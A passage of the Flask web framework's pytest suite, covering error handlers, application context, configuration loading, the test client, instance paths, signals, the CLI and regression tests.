    app = flask.Flask(__name__)

    class ParentException(Exception):
        pass

    class ChildExceptionUnregistered(ParentException):
        pass

    class ChildExceptionRegistered(ParentException):
        pass

    @app.errorhandler(ParentException)
    def parent_exception_handler(e):
        assert isinstance(e, ParentException)
        return 'parent'

    @app.errorhandler(ChildExceptionRegistered)
    def child_exception_handler(e):
        assert isinstance(e, ChildExceptionRegistered)
        return 'child-registered'

    @app.route('/parent')
    def parent_test():
        raise ParentException()

    @app.route('/child-unregistered')
    def unregistered_test():
        raise ChildExceptionUnregistered()

    @app.route('/child-registered')
    def registered_test():
        raise ChildExceptionRegistered()

    c = app.test_client()

    assert c.get('/parent').data == b'parent'
    assert c.get('/child-unregistered').data == b'parent'
    assert c.get('/child-registered').data == b'child-registered'


def test_error_handler_http_subclass():
    app = flask.Flask(__name__)

    class ForbiddenSubclassRegistered(Forbidden):
        pass

    class ForbiddenSubclassUnregistered(Forbidden):
        pass

    @app.errorhandler(403)
    def code_exception_handler(e):
        assert isinstance(e, Forbidden)
        return 'forbidden'

    @app.errorhandler(ForbiddenSubclassRegistered)
    def subclass_exception_handler(e):
        assert isinstance(e, ForbiddenSubclassRegistered)
        return 'forbidden-registered'

    @app.route('/forbidden')
    def forbidden_test():
        raise Forbidden()

    @app.route('/forbidden-registered')
    def registered_test():
        raise ForbiddenSubclassRegistered()

    @app.route('/forbidden-unregistered')
    def unregistered_test():
        raise ForbiddenSubclassUnregistered()

    c = app.test_client()

    assert c.get('/forbidden').data == b'forbidden'
    assert c.get('/forbidden-unregistered').data == b'forbidden'
    assert c.get('/forbidden-registered').data == b'forbidden-registered'


def test_error_handler_blueprint():
    bp = flask.Blueprint('bp', __name__)

    @bp.errorhandler(500)
    def bp_exception_handler(e):
        return 'bp-error'

    @bp.route('/error')
    def bp_test():
        raise InternalServerError()

    app = flask.Flask(__name__)

    @app.errorhandler(500)
    def app_exception_handler(e):
        return 'app-error'

    @app.route('/error')
    def app_test():
        raise InternalServerError()

    app.register_blueprint(bp, url_prefix='/bp')

    c = app.test_client()

    assert c.get('/error').data == b'app-error'
    assert c.get('/bp/error').data == b'bp-error'






# -*- coding: utf-8 -*-
"""
    tests.appctx
    ~~~~~~~~~~~~

    Tests the application context.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import pytest

import flask


def test_basic_url_generation():
    app = flask.Flask(__name__)
    app.config['SERVER_NAME'] = 'localhost'
    app.config['PREFERRED_URL_SCHEME'] = 'https'

    @app.route('/')
    def index():
        pass

    with app.app_context():
        rv = flask.url_for('index')
        assert rv == 'https://localhost/'

def test_url_generation_requires_server_name():
    app = flask.Flask(__name__)
    with app.app_context():
        with pytest.raises(RuntimeError):
            flask.url_for('index')

def test_url_generation_without_context_fails():
    with pytest.raises(RuntimeError):
        flask.url_for('index')

def test_request_context_means_app_context():
    app = flask.Flask(__name__)
    with app.test_request_context():
        assert flask.current_app._get_current_object() == app
    assert flask._app_ctx_stack.top is None

def test_app_context_provides_current_app():
    app = flask.Flask(__name__)
    with app.app_context():
        assert flask.current_app._get_current_object() == app
    assert flask._app_ctx_stack.top is None

def test_app_tearing_down():
    cleanup_stuff = []
    app = flask.Flask(__name__)
    @app.teardown_appcontext
    def cleanup(exception):
        cleanup_stuff.append(exception)

    with app.app_context():
        pass

    assert cleanup_stuff == [None]

def test_app_tearing_down_with_previous_exception():
    cleanup_stuff = []
    app = flask.Flask(__name__)
    @app.teardown_appcontext
    def cleanup(exception):
        cleanup_stuff.append(exception)

    try:
        raise Exception('dummy')
    except Exception:
        pass

    with app.app_context():
        pass

    assert cleanup_stuff == [None]

def test_app_tearing_down_with_handled_exception():
    cleanup_stuff = []
    app = flask.Flask(__name__)
    @app.teardown_appcontext
    def cleanup(exception):
        cleanup_stuff.append(exception)

    with app.app_context():
        try:
            raise Exception('dummy')
        except Exception:
            pass

    assert cleanup_stuff == [None]

def test_app_ctx_globals_methods():
    app = flask.Flask(__name__)
    with app.app_context():
        # get
        assert flask.g.get('foo') is None
        assert flask.g.get('foo', 'bar') == 'bar'
        # __contains__
        assert 'foo' not in flask.g
        flask.g.foo = 'bar'
        assert 'foo' in flask.g
        # setdefault
        flask.g.setdefault('bar', 'the cake is a lie')
        flask.g.setdefault('bar', 'hello world')
        assert flask.g.bar == 'the cake is a lie'
        # pop
        assert flask.g.pop('bar') == 'the cake is a lie'
        with pytest.raises(KeyError):
            flask.g.pop('bar')
        assert flask.g.pop('bar', 'more cake') == 'more cake'
        # __iter__
        assert list(flask.g) == ['foo']

def test_custom_app_ctx_globals_class():
    class CustomRequestGlobals(object):
        def __init__(self):
            self.spam = 'eggs'
    app = flask.Flask(__name__)
    app.app_ctx_globals_class = CustomRequestGlobals
    with app.app_context():
        assert flask.render_template_string('{{ g.spam }}') == 'eggs'

def test_context_refcounts():
    called = []
    app = flask.Flask(__name__)
    @app.teardown_request
    def teardown_req(error=None):
        called.append('request')
    @app.teardown_appcontext
    def teardown_app(error=None):
        called.append('app')
    @app.route('/')
    def index():
        with flask._app_ctx_stack.top:
            with flask._request_ctx_stack.top:
                pass
        env = flask._request_ctx_stack.top.request.environ
        assert env['werkzeug.request'] is not None
        return u''
    c = app.test_client()
    res = c.get('/')
    assert res.status_code == 200
    assert res.data == b''
    assert called == ['request', 'app']


def test_clean_pop():
    called = []
    app = flask.Flask(__name__)

    @app.teardown_request
    def teardown_req(error=None):
        1 / 0

    @app.teardown_appcontext
    def teardown_app(error=None):
        called.append('TEARDOWN')

    try:
        with app.test_request_context():
            called.append(flask.current_app.name)
    except ZeroDivisionError:
        pass

    assert called == ['test_appctx', 'TEARDOWN']
    assert not flask.current_app






# -*- coding: utf-8 -*-
"""
    tests.test_config
    ~~~~~~~~~~~~~~~~~

    :copyright: (c) 2015 by the Flask Team, see AUTHORS for more details.
    :license: BSD, see LICENSE for more details.
"""

import pytest

import os
from datetime import timedelta
import flask


# config keys used for the TestConfig
TEST_KEY = 'foo'
SECRET_KEY = 'devkey'


def common_object_test(app):
    assert app.secret_key == 'devkey'
    assert app.config['TEST_KEY'] == 'foo'
    assert 'TestConfig' not in app.config


def test_config_from_file():
    app = flask.Flask(__name__)
    app.config.from_pyfile(__file__.rsplit('.', 1)[0] + '.py')
    common_object_test(app)


def test_config_from_object():
    app = flask.Flask(__name__)
    app.config.from_object(__name__)
    common_object_test(app)


def test_config_from_json():
    app = flask.Flask(__name__)
    current_dir = os.path.dirname(os.path.abspath(__file__))
    app.config.from_json(os.path.join(current_dir, 'static', 'config.json'))
    common_object_test(app)


def test_config_from_mapping():
    app = flask.Flask(__name__)
    app.config.from_mapping({
        'SECRET_KEY': 'devkey',
        'TEST_KEY': 'foo'
    })
    common_object_test(app)

    app = flask.Flask(__name__)
    app.config.from_mapping([
        ('SECRET_KEY', 'devkey'),
        ('TEST_KEY', 'foo')
    ])
    common_object_test(app)

    app = flask.Flask(__name__)
    app.config.from_mapping(
        SECRET_KEY='devkey',
        TEST_KEY='foo'
    )
    common_object_test(app)

    app = flask.Flask(__name__)
    with pytest.raises(TypeError):
        app.config.from_mapping(
            {}, {}
        )


def test_config_from_class():
    class Base(object):
        TEST_KEY = 'foo'

    class Test(Base):
        SECRET_KEY = 'devkey'
    app = flask.Flask(__name__)
    app.config.from_object(Test)
    common_object_test(app)


def test_config_from_envvar():
    env = os.environ
    try:
        os.environ = {}
        app = flask.Flask(__name__)
        with pytest.raises(RuntimeError) as e:
            app.config.from_envvar('FOO_SETTINGS')
        assert "'FOO_SETTINGS' is not set" in str(e.value)
        assert not app.config.from_envvar('FOO_SETTINGS', silent=True)

        os.environ = {'FOO_SETTINGS': __file__.rsplit('.', 1)[0] + '.py'}
        assert app.config.from_envvar('FOO_SETTINGS')
        common_object_test(app)
    finally:
        os.environ = env


def test_config_from_envvar_missing():
    env = os.environ
    try:
        os.environ = {'FOO_SETTINGS': 'missing.cfg'}
        with pytest.raises(IOError) as e:
            app = flask.Flask(__name__)
            app.config.from_envvar('FOO_SETTINGS')
        msg = str(e.value)
        assert msg.startswith('[Errno 2] Unable to load configuration '
                              'file (No such file or directory):')
        assert msg.endswith("missing.cfg'")
        assert not app.config.from_envvar('FOO_SETTINGS', silent=True)
    finally:
        os.environ = env


def test_config_missing():
    app = flask.Flask(__name__)
    with pytest.raises(IOError) as e:
        app.config.from_pyfile('missing.cfg')
    msg = str(e.value)
    assert msg.startswith('[Errno 2] Unable to load configuration '
                          'file (No such file or directory):')
    assert msg.endswith("missing.cfg'")
    assert not app.config.from_pyfile('missing.cfg', silent=True)


def test_config_missing_json():
    app = flask.Flask(__name__)
    with pytest.raises(IOError) as e:
        app.config.from_json('missing.json')
    msg = str(e.value)
    assert msg.startswith('[Errno 2] Unable to load configuration '
                          'file (No such file or directory):')
    assert msg.endswith("missing.json'")
    assert not app.config.from_json('missing.json', silent=True)


def test_custom_config_class():
    class Config(flask.Config):
        pass

    class Flask(flask.Flask):
        config_class = Config
    app = Flask(__name__)
    assert isinstance(app.config, Config)
    app.config.from_object(__name__)
    common_object_test(app)


def test_session_lifetime():
    app = flask.Flask(__name__)
    app.config['PERMANENT_SESSION_LIFETIME'] = 42
    assert app.permanent_session_lifetime.seconds == 42


def test_send_file_max_age():
    app = flask.Flask(__name__)
    app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 3600
    assert app.send_file_max_age_default.seconds == 3600
    app.config['SEND_FILE_MAX_AGE_DEFAULT'] = timedelta(hours=2)
    assert app.send_file_max_age_default.seconds == 7200


def test_get_namespace():
    app = flask.Flask(__name__)
    app.config['FOO_OPTION_1'] = 'foo option 1'
    app.config['FOO_OPTION_2'] = 'foo option 2'
    app.config['BAR_STUFF_1'] = 'bar stuff 1'
    app.config['BAR_STUFF_2'] = 'bar stuff 2'
    foo_options = app.config.get_namespace('FOO_')
    assert 2 == len(foo_options)
    assert 'foo option 1' == foo_options['option_1']
    assert 'foo option 2' == foo_options['option_2']
    bar_options = app.config.get_namespace('BAR_', lowercase=False)
    assert 2 == len(bar_options)
    assert 'bar stuff 1' == bar_options['STUFF_1']
    assert 'bar stuff 2' == bar_options['STUFF_2']
    foo_options = app.config.get_namespace('FOO_', trim_namespace=False)
    assert 2 == len(foo_options)
    assert 'foo option 1' == foo_options['foo_option_1']
    assert 'foo option 2' == foo_options['foo_option_2']
    bar_options = app.config.get_namespace('BAR_', lowercase=False, trim_namespace=False)
    assert 2 == len(bar_options)
    assert 'bar stuff 1' == bar_options['BAR_STUFF_1']
    assert 'bar stuff 2' == bar_options['BAR_STUFF_2']






# -*- coding: utf-8 -*-
"""
    tests.testing
    ~~~~~~~~~~~~~

    Test client and more.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
import pytest

import flask

from flask._compat import text_type


def test_environ_defaults_from_config():
    app = flask.Flask(__name__)
    app.testing = True
    app.config['SERVER_NAME'] = 'example.com:1234'
    app.config['APPLICATION_ROOT'] = '/foo'
    @app.route('/')
    def index():
        return flask.request.url

    ctx = app.test_request_context()
    assert ctx.request.url == 'http://example.com:1234/foo/'
    with app.test_client() as c:
        rv = c.get('/')
        assert rv.data == b'http://example.com:1234/foo/'

def test_environ_defaults():
    app = flask.Flask(__name__)
    app.testing = True
    @app.route('/')
    def index():
        return flask.request.url

    ctx = app.test_request_context()
    assert ctx.request.url == 'http://localhost/'
    with app.test_client() as c:
        rv = c.get('/')
        assert rv.data == b'http://localhost/'

def test_redirect_keep_session():
    app = flask.Flask(__name__)
    app.secret_key = 'testing'

    @app.route('/', methods=['GET', 'POST'])
    def index():
        if flask.request.method == 'POST':
            return flask.redirect('/getsession')
        flask.session['data'] = 'foo'
        return 'index'

    @app.route('/getsession')
    def get_session():
        return flask.session.get('data', '<missing>')

    with app.test_client() as c:
        rv = c.get('/getsession')
        assert rv.data == b'<missing>'

        rv = c.get('/')
        assert rv.data == b'index'
        assert flask.session.get('data') == 'foo'
        rv = c.post('/', data={}, follow_redirects=True)
        assert rv.data == b'foo'

        # This support requires a new Werkzeug version
        if not hasattr(c, 'redirect_client'):
            assert flask.session.get('data') == 'foo'

        rv = c.get('/getsession')
        assert rv.data == b'foo'

def test_session_transactions():
    app = flask.Flask(__name__)
    app.testing = True
    app.secret_key = 'testing'

    @app.route('/')
    def index():
        return text_type(flask.session['foo'])

    with app.test_client() as c:
        with c.session_transaction() as sess:
            assert len(sess) == 0
            sess['foo'] = [42]
            assert len(sess) == 1
        rv = c.get('/')
        assert rv.data == b'[42]'
        with c.session_transaction() as sess:
            assert len(sess) == 1
            assert sess['foo'] == [42]

def test_session_transactions_no_null_sessions():
    app = flask.Flask(__name__)
    app.testing = True

    with app.test_client() as c:
        with pytest.raises(RuntimeError) as e:
            with c.session_transaction() as sess:
                pass
        assert 'Session backend did not open a session' in str(e.value)

def test_session_transactions_keep_context():
    app = flask.Flask(__name__)
    app.testing = True
    app.secret_key = 'testing'

    with app.test_client() as c:
        rv = c.get('/')
        req = flask.request._get_current_object()
        assert req is not None
        with c.session_transaction():
            assert req is flask.request._get_current_object()

def test_session_transaction_needs_cookies():
    app = flask.Flask(__name__)
    app.testing = True
    c = app.test_client(use_cookies=False)
    with pytest.raises(RuntimeError) as e:
        with c.session_transaction() as s:
            pass
    assert 'cookies' in str(e.value)

def test_test_client_context_binding():
    app = flask.Flask(__name__)
    app.config['LOGGER_HANDLER_POLICY'] = 'never'
    @app.route('/')
    def index():
        flask.g.value = 42
        return 'Hello World!'

    @app.route('/other')
    def other():
        1 // 0

    with app.test_client() as c:
        resp = c.get('/')
        assert flask.g.value == 42
        assert resp.data == b'Hello World!'
        assert resp.status_code == 200

        resp = c.get('/other')
        assert not hasattr(flask.g, 'value')
        assert b'Internal Server Error' in resp.data
        assert resp.status_code == 500
        flask.g.value = 23

    try:
        flask.g.value
    except (AttributeError, RuntimeError):
        pass
    else:
        raise AssertionError('some kind of exception expected')

def test_reuse_client():
    app = flask.Flask(__name__)
    c = app.test_client()

    with c:
        assert c.get('/').status_code == 404

    with c:
        assert c.get('/').status_code == 404

def test_test_client_calls_teardown_handlers():
    app = flask.Flask(__name__)
    called = []
    @app.teardown_request
    def remember(error):
        called.append(error)

    with app.test_client() as c:
        assert called == []
        c.get('/')
        assert called == []
    assert called == [None]

    del called[:]
    with app.test_client() as c:
        assert called == []
        c.get('/')
        assert called == []
        c.get('/')
        assert called == [None]
    assert called == [None, None]

def test_full_url_request():
    app = flask.Flask(__name__)
    app.testing = True

    @app.route('/action', methods=['POST'])
    def action():
        return 'x'

    with app.test_client() as c:
        rv = c.post('http://domain.com/action?vodka=42', data={'gin': 43})
        assert rv.status_code == 200
        assert 'gin' in flask.request.form
        assert 'vodka' in flask.request.args

def test_subdomain():
    app = flask.Flask(__name__)
    app.config['SERVER_NAME'] = 'example.com'
    @app.route('/', subdomain='<company_id>')
    def view(company_id):
        return company_id

    with app.test_request_context():
        url = flask.url_for('view', company_id='xxx')

    with app.test_client() as c:
        response = c.get(url)

    assert 200 == response.status_code
    assert b'xxx' == response.data

def test_nosubdomain():
    app = flask.Flask(__name__)
    app.config['SERVER_NAME'] = 'example.com'
    @app.route('/<company_id>')
    def view(company_id):
        return company_id

    with app.test_request_context():
        url = flask.url_for('view', company_id='xxx')

    with app.test_client() as c:
        response = c.get(url)

    assert 200 == response.status_code
    assert b'xxx' == response.data






# -*- coding: utf-8 -*-
"""
    tests.test_instance
    ~~~~~~~~~~~~~~~~~~~

    :copyright: (c) 2015 by the Flask Team, see AUTHORS for more details.
    :license: BSD, see LICENSE for more details.
"""
import os
import sys

import pytest
import flask
from flask._compat import PY2


def test_explicit_instance_paths(modules_tmpdir):
    with pytest.raises(ValueError) as excinfo:
        flask.Flask(__name__, instance_path='instance')
    assert 'must be absolute' in str(excinfo.value)

    app = flask.Flask(__name__, instance_path=str(modules_tmpdir))
    assert app.instance_path == str(modules_tmpdir)


def test_main_module_paths(modules_tmpdir, purge_module):
    app = modules_tmpdir.join('main_app.py')
    app.write('import flask\n\napp = flask.Flask("__main__")')
    purge_module('main_app')

    from main_app import app
    here = os.path.abspath(os.getcwd())
    assert app.instance_path == os.path.join(here, 'instance')


def test_uninstalled_module_paths(modules_tmpdir, purge_module):
    app = modules_tmpdir.join('config_module_app.py').write(
        'import os\n'
        'import flask\n'
        'here = os.path.abspath(os.path.dirname(__file__))\n'
        'app = flask.Flask(__name__)\n'
    )
    purge_module('config_module_app')

    from config_module_app import app
    assert app.instance_path == str(modules_tmpdir.join('instance'))


def test_uninstalled_package_paths(modules_tmpdir, purge_module):
    app = modules_tmpdir.mkdir('config_package_app')
    init = app.join('__init__.py')
    init.write(
        'import os\n'
        'import flask\n'
        'here = os.path.abspath(os.path.dirname(__file__))\n'
        'app = flask.Flask(__name__)\n'
    )
    purge_module('config_package_app')

    from config_package_app import app
    assert app.instance_path == str(modules_tmpdir.join('instance'))


def test_installed_module_paths(modules_tmpdir, modules_tmpdir_prefix,
                                purge_module, site_packages, limit_loader):
    site_packages.join('site_app.py').write(
        'import flask\n'
        'app = flask.Flask(__name__)\n'
    )
    purge_module('site_app')

    from site_app import app
    assert app.instance_path == \
        modules_tmpdir.join('var').join('site_app-instance')


def test_installed_package_paths(limit_loader, modules_tmpdir,
                                 modules_tmpdir_prefix, purge_module,
                                 monkeypatch):
    installed_path = modules_tmpdir.mkdir('path')
    monkeypatch.syspath_prepend(installed_path)

    app = installed_path.mkdir('installed_package')
    init = app.join('__init__.py')
    init.write('import flask\napp = flask.Flask(__name__)')
    purge_module('installed_package')

    from installed_package import app
    assert app.instance_path == \
        modules_tmpdir.join('var').join('installed_package-instance')


def test_prefix_package_paths(limit_loader, modules_tmpdir,
                              modules_tmpdir_prefix, purge_module,
                              site_packages):
    app = site_packages.mkdir('site_package')
    init = app.join('__init__.py')
    init.write('import flask\napp = flask.Flask(__name__)')
    purge_module('site_package')

    import site_package
    assert site_package.app.instance_path == \
        modules_tmpdir.join('var').join('site_package-instance')


def test_egg_installed_paths(install_egg, modules_tmpdir,
                             modules_tmpdir_prefix):
    modules_tmpdir.mkdir('site_egg').join('__init__.py').write(
        'import flask\n\napp = flask.Flask(__name__)'
    )
    install_egg('site_egg')
    try:
        import site_egg
        assert site_egg.app.instance_path == \
            str(modules_tmpdir.join('var/').join('site_egg-instance'))
    finally:
        if 'site_egg' in sys.modules:
            del sys.modules['site_egg']


@pytest.mark.skipif(not PY2, reason='This only works under Python 2.')
def test_meta_path_loader_without_is_package(request, modules_tmpdir):
    app = modules_tmpdir.join('unimportable.py')
    app.write('import flask\napp = flask.Flask(__name__)')

    class Loader(object):
        def find_module(self, name, path=None):
            return self

    sys.meta_path.append(Loader())
    request.addfinalizer(sys.meta_path.pop)

    with pytest.raises(AttributeError):
        import unimportable






# -*- coding: utf-8 -*-
"""
    tests.signals
    ~~~~~~~~~~~~~~~~~~~~~~~

    Signalling.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import pytest

try:
    import blinker
except ImportError:
    blinker = None

import flask


pytestmark = pytest.mark.skipif(
    blinker is None,
    reason='Signals require the blinker library.'
)

def test_template_rendered():
    app = flask.Flask(__name__)

    @app.route('/')
    def index():
        return flask.render_template('simple_template.html', whiskey=42)

    recorded = []

    def record(sender, template, context):
        recorded.append((template, context))

    flask.template_rendered.connect(record, app)
    try:
        app.test_client().get('/')
        assert len(recorded) == 1
        template, context = recorded[0]
        assert template.name == 'simple_template.html'
        assert context['whiskey'] == 42
    finally:
        flask.template_rendered.disconnect(record, app)

def test_before_render_template():
    app = flask.Flask(__name__)

    @app.route('/')
    def index():
        return flask.render_template('simple_template.html', whiskey=42)

    recorded = []

    def record(sender, template, context):
        context['whiskey'] = 43
        recorded.append((template, context))

    flask.before_render_template.connect(record, app)
    try:
        rv = app.test_client().get('/')
        assert len(recorded) == 1
        template, context = recorded[0]
        assert template.name == 'simple_template.html'
        assert context['whiskey'] == 43
        assert rv.data == b'<h1>43</h1>'
    finally:
        flask.before_render_template.disconnect(record, app)

def test_request_signals():
    app = flask.Flask(__name__)
    calls = []

    def before_request_signal(sender):
        calls.append('before-signal')

    def after_request_signal(sender, response):
        assert response.data == b'stuff'
        calls.append('after-signal')

    @app.before_request
    def before_request_handler():
        calls.append('before-handler')

    @app.after_request
    def after_request_handler(response):
        calls.append('after-handler')
        response.data = 'stuff'
        return response

    @app.route('/')
    def index():
        calls.append('handler')
        return 'ignored anyway'

    flask.request_started.connect(before_request_signal, app)
    flask.request_finished.connect(after_request_signal, app)

    try:
        rv = app.test_client().get('/')
        assert rv.data == b'stuff'

        assert calls == ['before-signal', 'before-handler', 'handler',
                         'after-handler', 'after-signal']
    finally:
        flask.request_started.disconnect(before_request_signal, app)
        flask.request_finished.disconnect(after_request_signal, app)

def test_request_exception_signal():
    app = flask.Flask(__name__)
    recorded = []

    @app.route('/')
    def index():
        1 // 0

    def record(sender, exception):
        recorded.append(exception)

    flask.got_request_exception.connect(record, app)
    try:
        assert app.test_client().get('/').status_code == 500
        assert len(recorded) == 1
        assert isinstance(recorded[0], ZeroDivisionError)
    finally:
        flask.got_request_exception.disconnect(record, app)

def test_appcontext_signals():
    app = flask.Flask(__name__)
    recorded = []

    def record_push(sender, **kwargs):
        recorded.append('push')

    def record_pop(sender, **kwargs):
        recorded.append('pop')

    @app.route('/')
    def index():
        return 'Hello'

    flask.appcontext_pushed.connect(record_push, app)
    flask.appcontext_popped.connect(record_pop, app)
    try:
        with app.test_client() as c:
            rv = c.get('/')
            assert rv.data == b'Hello'
            assert recorded == ['push']
        assert recorded == ['push', 'pop']
    finally:
        flask.appcontext_pushed.disconnect(record_push, app)
        flask.appcontext_popped.disconnect(record_pop, app)

def test_flash_signal():
    app = flask.Flask(__name__)
    app.config['SECRET_KEY'] = 'secret'

    @app.route('/')
    def index():
        flask.flash('This is a flash message', category='notice')
        return flask.redirect('/other')

    recorded = []

    def record(sender, message, category):
        recorded.append((message, category))

    flask.message_flashed.connect(record, app)
    try:
        client = app.test_client()
        with client.session_transaction():
            client.get('/')
            assert len(recorded) == 1
            message, category = recorded[0]
            assert message == 'This is a flash message'
            assert category == 'notice'
    finally:
        flask.message_flashed.disconnect(record, app)

def test_appcontext_tearing_down_signal():
    app = flask.Flask(__name__)
    recorded = []

    def record_teardown(sender, **kwargs):
        recorded.append(('tear_down', kwargs))

    @app.route('/')
    def index():
        1 // 0

    flask.appcontext_tearing_down.connect(record_teardown, app)
    try:
        with app.test_client() as c:
            rv = c.get('/')
            assert rv.status_code == 500
            assert recorded == []
        assert recorded == [('tear_down', {'exc': None})]
    finally:
        flask.appcontext_tearing_down.disconnect(record_teardown, app)






# -*- coding: utf-8 -*-
"""
    tests.test_cli
    ~~~~~~~~~~~~~~

    :copyright: (c) 2016 by the Flask Team, see AUTHORS for more details.
    :license: BSD, see LICENSE for more details.
"""
#
# This file was part of Flask-CLI and was modified under the terms its license,
# the Revised BSD License.
# Copyright (C) 2015 CERN.
#
from __future__ import absolute_import, print_function
import os
import sys

import click
import pytest
from click.testing import CliRunner
from flask import Flask, current_app

from flask.cli import AppGroup, FlaskGroup, NoAppException, ScriptInfo, \
    find_best_app, locate_app, with_appcontext, prepare_exec_for_file, \
    find_default_import_path, get_version


def test_cli_name(test_apps):
    """Make sure the CLI object's name is the app's name and not the app itself"""
    from cliapp.app import testapp
    assert testapp.cli.name == testapp.name


def test_find_best_app(test_apps):
    """Test if `find_best_app` behaves as expected with different combinations of input."""
    class Module:
        app = Flask('appname')
    assert find_best_app(Module) == Module.app

    class Module:
        application = Flask('appname')
    assert find_best_app(Module) == Module.application

    class Module:
        myapp = Flask('appname')
    assert find_best_app(Module) == Module.myapp

    class Module:
        pass
    pytest.raises(NoAppException, find_best_app, Module)

    class Module:
        myapp1 = Flask('appname1')
        myapp2 = Flask('appname2')
    pytest.raises(NoAppException, find_best_app, Module)


def test_prepare_exec_for_file(test_apps):
    """Expect the correct path to be set and the correct module name to be returned.

    :func:`prepare_exec_for_file` has a side effect, where
    the parent directory of given file is added to `sys.path`.
    """
    realpath = os.path.realpath('/tmp/share/test.py')
    dirname = os.path.dirname(realpath)
    assert prepare_exec_for_file('/tmp/share/test.py') == 'test'
    assert dirname in sys.path

    realpath = os.path.realpath('/tmp/share/__init__.py')
    dirname = os.path.dirname(os.path.dirname(realpath))
    assert prepare_exec_for_file('/tmp/share/__init__.py') == 'share'
    assert dirname in sys.path

    with pytest.raises(NoAppException):
        prepare_exec_for_file('/tmp/share/test.txt')


def test_locate_app(test_apps):
    """Test of locate_app."""
    assert locate_app("cliapp.app").name == "testapp"
    assert locate_app("cliapp.app:testapp").name == "testapp"
    assert locate_app("cliapp.multiapp:app1").name == "app1"
    pytest.raises(NoAppException, locate_app, "notanpp.py")
    pytest.raises(NoAppException, locate_app, "cliapp/app")
    pytest.raises(RuntimeError, locate_app, "cliapp.app:notanapp")


def test_find_default_import_path(test_apps, monkeypatch, tmpdir):
    """Test of find_default_import_path."""
    monkeypatch.delitem(os.environ, 'FLASK_APP', raising=False)
    assert find_default_import_path() == None
    monkeypatch.setitem(os.environ, 'FLASK_APP', 'notanapp')
    assert find_default_import_path() == 'notanapp'
    tmpfile = tmpdir.join('testapp.py')
    tmpfile.write('')
    monkeypatch.setitem(os.environ, 'FLASK_APP', str(tmpfile))
    expect_rv = prepare_exec_for_file(str(tmpfile))
    assert find_default_import_path() == expect_rv


def test_get_version(test_apps, capsys):
    """Test of get_version."""
    from flask import __version__ as flask_ver
    from sys import version as py_ver
    class MockCtx(object):
        resilient_parsing = False
        color = None
        def exit(self): return
    ctx = MockCtx()
    get_version(ctx, None, "test")
    out, err = capsys.readouterr()
    assert flask_ver in out
    assert py_ver in out


def test_scriptinfo(test_apps):
    """Test of ScriptInfo."""
    obj = ScriptInfo(app_import_path="cliapp.app:testapp")
    assert obj.load_app().name == "testapp"
    assert obj.load_app().name == "testapp"

    def create_app(info):
        return Flask("createapp")

    obj = ScriptInfo(create_app=create_app)
    app = obj.load_app()
    assert app.name == "createapp"
    assert obj.load_app() == app


def test_with_appcontext():
    """Test of with_appcontext."""
    @click.command()
    @with_appcontext
    def testcmd():
        click.echo(current_app.name)

    obj = ScriptInfo(create_app=lambda info: Flask("testapp"))

    runner = CliRunner()
    result = runner.invoke(testcmd, obj=obj)
    assert result.exit_code == 0
    assert result.output == 'testapp\n'


def test_appgroup():
    """Test of with_appcontext."""
    @click.group(cls=AppGroup)
    def cli():
        pass

    @cli.command(with_appcontext=True)
    def test():
        click.echo(current_app.name)

    @cli.group()
    def subgroup():
        pass

    @subgroup.command(with_appcontext=True)
    def test2():
        click.echo(current_app.name)

    obj = ScriptInfo(create_app=lambda info: Flask("testappgroup"))

    runner = CliRunner()
    result = runner.invoke(cli, ['test'], obj=obj)
    assert result.exit_code == 0
    assert result.output == 'testappgroup\n'

    result = runner.invoke(cli, ['subgroup', 'test2'], obj=obj)
    assert result.exit_code == 0
    assert result.output == 'testappgroup\n'


def test_flaskgroup():
    """Test FlaskGroup."""
    def create_app(info):
        return Flask("flaskgroup")

    @click.group(cls=FlaskGroup, create_app=create_app)
    def cli(**params):
        pass

    @cli.command()
    def test():
        click.echo(current_app.name)

    runner = CliRunner()
    result = runner.invoke(cli, ['test'])
    assert result.exit_code == 0
    assert result.output == 'flaskgroup\n'






# -*- coding: utf-8 -*-
"""
    tests.regression
    ~~~~~~~~~~~~~~~~~~~~~~~~~~

    Tests regressions.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import pytest

import os
import gc
import sys
import flask
import threading
from werkzeug.exceptions import NotFound


_gc_lock = threading.Lock()


class assert_no_leak(object):

    def __enter__(self):
        gc.disable()
        _gc_lock.acquire()
        loc = flask._request_ctx_stack._local

        # Force Python to track this dictionary at all times.
        # This is necessary since Python only starts tracking
        # dicts if they contain mutable objects.  It's a horrible,
        # horrible hack but makes this kinda testable.
        loc.__storage__['FOOO'] = [1, 2, 3]

        gc.collect()
        self.old_objects = len(gc.get_objects())

    def __exit__(self, exc_type, exc_value, tb):
        gc.collect()
        new_objects = len(gc.get_objects())
        if new_objects > self.old_objects:
            pytest.fail('Example code leaked')
        _gc_lock.release()
        gc.enable()


def test_memory_consumption():
    app = flask.Flask(__name__)

    @app.route('/')
    def index():
        return flask.render_template('simple_template.html', whiskey=42)

    def fire():
        with app.test_client() as c:
            rv = c.get('/')
            assert rv.status_code == 200
            assert rv.data == b'<h1>42</h1>'

    # Trigger caches
    fire()

    # This test only works on CPython 2.7.
    if sys.version_info >= (2, 7) and \
            not hasattr(sys, 'pypy_translation_info'):
        with assert_no_leak():
            for x in range(10):
                fire()


def test_safe_join_toplevel_pardir():
    from flask.helpers import safe_join
    with pytest.raises(NotFound):
        safe_join('/foo', '..')


def test_aborting():
    class Foo(Exception):
        whatever = 42
    app = flask.Flask(__name__)
    app.testing = True

    @app.errorhandler(Foo)
    def handle_foo(e):
        return str(e.whatever)

    @app.route('/')
    def index():
        raise flask.abort(flask.redirect(flask.url_for('test')))

    @app.route('/test')
    def test():
        raise Foo()

    with app.test_client() as c:
        rv = c.get('/')
        assert rv.headers['Location'] == 'http://localhost/test'
        rv = c.get('/test')
        assert rv.data == b'42'






# -*- coding: utf-8 -*-
"""
    tests.views
    ~~~~~~~~~~~

    Pluggable views.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import pytest

import flask
import flask.views

from werkzeug.http import parse_set_header

def common_test(app):
    c = app.test_client()

    assert c.get('/').data == b'GET'
    assert c.post('/').data == b'POST'
    assert c.put('/').status_code == 405
    meths = parse_set_header(c.open('/', method='OPTIONS').headers['Allow'])
